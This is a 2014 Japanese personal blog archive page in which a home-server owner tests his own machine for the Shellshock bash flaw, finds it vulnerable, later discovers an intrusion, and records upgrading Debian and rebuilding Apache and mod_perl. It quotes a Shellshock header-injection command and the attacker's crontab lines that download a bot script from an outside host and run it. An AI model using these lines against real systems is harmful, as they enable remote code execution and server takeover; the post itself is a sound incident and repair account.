« 2014年09月 | メイン | 2014年11月 »

2014年10月 アーカイブ

2014年10月11日

Shellshockの恐怖

2014/9/24に見つかったとされるbashの欠陥、いわゆるShellshockの話は目にしていたのだが、玄箱HG+Debianで運用中のこのサーバーには関係ないと思っていた。そもそも、Debianのshはbashでなくdashである。

今週、
記者の眼 - 記者は「ShellShock」に触れてみた、そして震え上がった:ITpro
という記事を読んだ。CGIを呼び出せると任意のコマンドが実行できてしまうという。
ふむふむ、なるほど、これは致命的な大穴だ。

試しに、このサーバーに対してもやってみた。上記の記事ではcurlを使っているが、wgetで次のようにしてみた。

wget -U "() { :;}; echo Content-type:text/plain;echo; /bin/uname -a" http://localhost/cgi-bin/test.cgi
・・・!!!
uname -aの結果が返ってきた。
何かの間違いではないか、と祈りつつ、unameをfind /にしてみると、このファイルシステムの全て表示されてしまった。

真っ青になった。

それでやっと思い出した。このサーバーをLennyにupgradeした時に/bin/shがdashになったのだが、それで何かが動かなくなったので、勝手に/bin/shをbashに戻してしまったのである。

とりあえずapacheを止めて、bashをupdateしようとして、apt-get updateしたが、bashが更新されなかった。
このDebianはSqueezeであり、サポートが終了してしまっているのである。
しかし、Squeeze LTS(Long Term Support)というものの存在を見つけたので、このページを参考にして、/etc/apt/sources.listに

deb http://http.debian.net/debian squeeze-lts main contrib non-free
deb-src http://http.debian.net/debian squeeze-lts main contrib non-free
を加えて
apt-get update
apt-get install -t squeeze-lts --only-upgrade bash
しようとした。
しかし、apt-get updateがエラーになってしまった。
squeeze LTSのページを見ると、powerpcはサポートされていなかった。i386やand64でなければwheezyにupgradeすることが推奨される、と書いてある。

このサーバーは、過去にwheezyへのupgradeに頓挫しており、非常に面倒で時間を要することがわかっているのである。
今回の件でセキュリティアップデートの必要性を思い知ったので、wheezy化は近い内に必ず行う決心をしたが、とりあえず、/bin/shをdashに戻して、bashはソースコードと最新のパッチを使ってmakeしたものに置き換えた。

続きを読む "Shellshockの恐怖" »

2014年10月26日

玄箱HGをwheezyにアップグレード

先日、このサーバーにもShellshockの問題が見つかってbashを作り直したと書いたが、その2日後、サーバーに接続しづらくなっていることに気付いて、見てみるとマルウェアが走っていた。
apacheを動作させるアカウントで、このサーバーにはpnscanをインストールしていない(そんな名前の実行ファイルも存在しない)にもかかわらず、pnscanというポートスキャンのプログラムが走っており、これが接続しにくくしていたようだ。
また、netstatで見ると、知らないIPアドレスのSMTPポートに接続しっ放しになっていた。

そのアカウントのcrontabを見ると、

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/c installed on Sun Oct 12 12:55:19 2014)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh
@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh; >/dev/null 2>&1

となっていたので、10/5か10/12に突っ込まれ、10/12に発動したようだ。10/5にはまだこのサーバーにShellshockの問題が存在していたので、そこを突かれたか、pnscanはPOST -dでクラックされるPHPの脆弱性で突っ込まれる事例が多かったようであり、このサーバーではそれも放置していた(php-cgiはインストールしていないので大丈夫と思っていた)ので、そこを突かれたのかも知れない。

ともかく、どこに問題があったのかがわからないので、squeezeの使用を諦めて、wheezyにアップグレードすることにした。

以前にwheezyへのアップグレードに失敗してDebianが再起不能になったので敬遠していたのだが、カーネルを2.6.26以降にさえすれば成功することはわかっていたのである。今回、玄箱HG用のカーネルのコンパイルと起動方法を手取り足取り教えてくださる、unbelievablyに有難いWebページを見つけたので、カーネルの更新に成功し、それによってwheezyへのアップグレードにも成功した。

●squeezeからwheezyへのupgrade手順
・カーネルを2.6.26以降にする
 筆者が実施した手順は後述
・squeezeで最新状態にする
apt-get update
apt-get dist-upgrade
dpkg --audit #エラー状態の表示
・wheezyにupgradeする
/etc/apt/sources.listのsqueezeをwheezy(かstable)に変える
apt-get update
apt-get upgrade #最小アップグレード
apt-get dist-upgrade


筆者の環境では、wheezyへのupgrade後に発生した大きなトラブルは、mod_perl 1.3がSegmentation faultするようになったことくらいである。Perlが5.14になったことによる影響のようだ。
これを修復するのに色々面倒があったので、その過程を記録する。

・mod_perlのMakefile.PLでエラー
apache_1.3.42.tar.gzとmod_perl-1.31.tar.gzを取得して、昔と同じようにmakeすると、Makefile.PLでエラーになった。
昔成功したmod_perl-1.30.tar.gz でも同様だった。
これは、/bin/shをdashじゃなくbashにすると解消した。

これは過去にも経験して、これの為に/bin/shをbashにして、そのままでも良いかと放置して、Shellshockを食らう羽目になったことを、思い出した。

・mod_perlをmakeすると、コンパイルエラーになった
mod_perl-1.31は、Perl 5.14だとコンパイルエラーになることが知られている。
最新のリポジトリでは修正されており、これを

svn co https://svn.apache.org/repos/asf/perl/modperl/branches/1.x
として取得することにより、makeに成功した。

・apacheもコンパイルエラーになった
getlineという関数名が、最近のLinuxで使われるようになって干渉する問題である。
このページに書かれている、

sed -i 's/getline/apache_getline/' src/support/htdigest.c
sed -i 's/getline/apache_getline/' src/support/htpasswd.c
sed -i 's/getline/apache_getline/' src/support/logresolve.c
の3行を実行して解決した。

・CPANでApache::Requestをインストールしようとするとエラーになった

perl -MCPAN -e shell
としてコマンドラインを起動し、
install Apache::Request
とすると、
Couldn't untar ****.tar
Package seems to come without Makefile.PL.
Had problems unarchiving. Please build manually
というエラーになった。ついでに、
install CPAN
も同じエラーになった。
メモリ不足だとこのようになることがあるとの情報があり、実際、perlが大量のRAMとswapを大量に使っており、シェル上で何もやっても数分間無反応だったので、玄箱HGのメモリ不足が原因だと思われる。
CPANを手動インストールし、
perl -MCPAN -e 'install Apache::Request'
とすると、あっさり成功した。

続きを読む "玄箱HGをwheezyにアップグレード" »

About 2014年10月

2014年10月にブログ「Weblog on mebius.tokaichiba.jp」に投稿されたすべてのエントリーです。過去のものから新しいものへ順番に並んでいます。

前のアーカイブは2014年09月です。

次のアーカイブは2014年11月です。

他にも多くのエントリーがあります。メインページアーカイブページも見てください。

Powered by
Movable Type 3.35